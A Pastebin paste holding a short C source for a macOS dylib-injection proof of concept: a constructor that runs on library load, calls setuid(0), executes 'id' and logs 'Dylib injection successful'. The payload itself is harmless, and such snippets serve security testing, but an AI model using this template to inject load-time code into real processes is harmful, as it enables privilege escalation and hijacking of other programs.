Advertisement
Guest User

Untitled

a guest
Jul 20th, 2019
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.27 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <syslog.h>
  3. #include <stdlib.h>
  4.  
  5. __attribute__((constructor))
  6. static void customConstructor(int argc, const char **argv)
  7. {
  8. setuid(0);
  9. system("id");
  10. printf("Hello from dylib!\n");
  11. syslog(LOG_ERR, "Dylib injection successful in %s\n", argv[0]);
  12. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement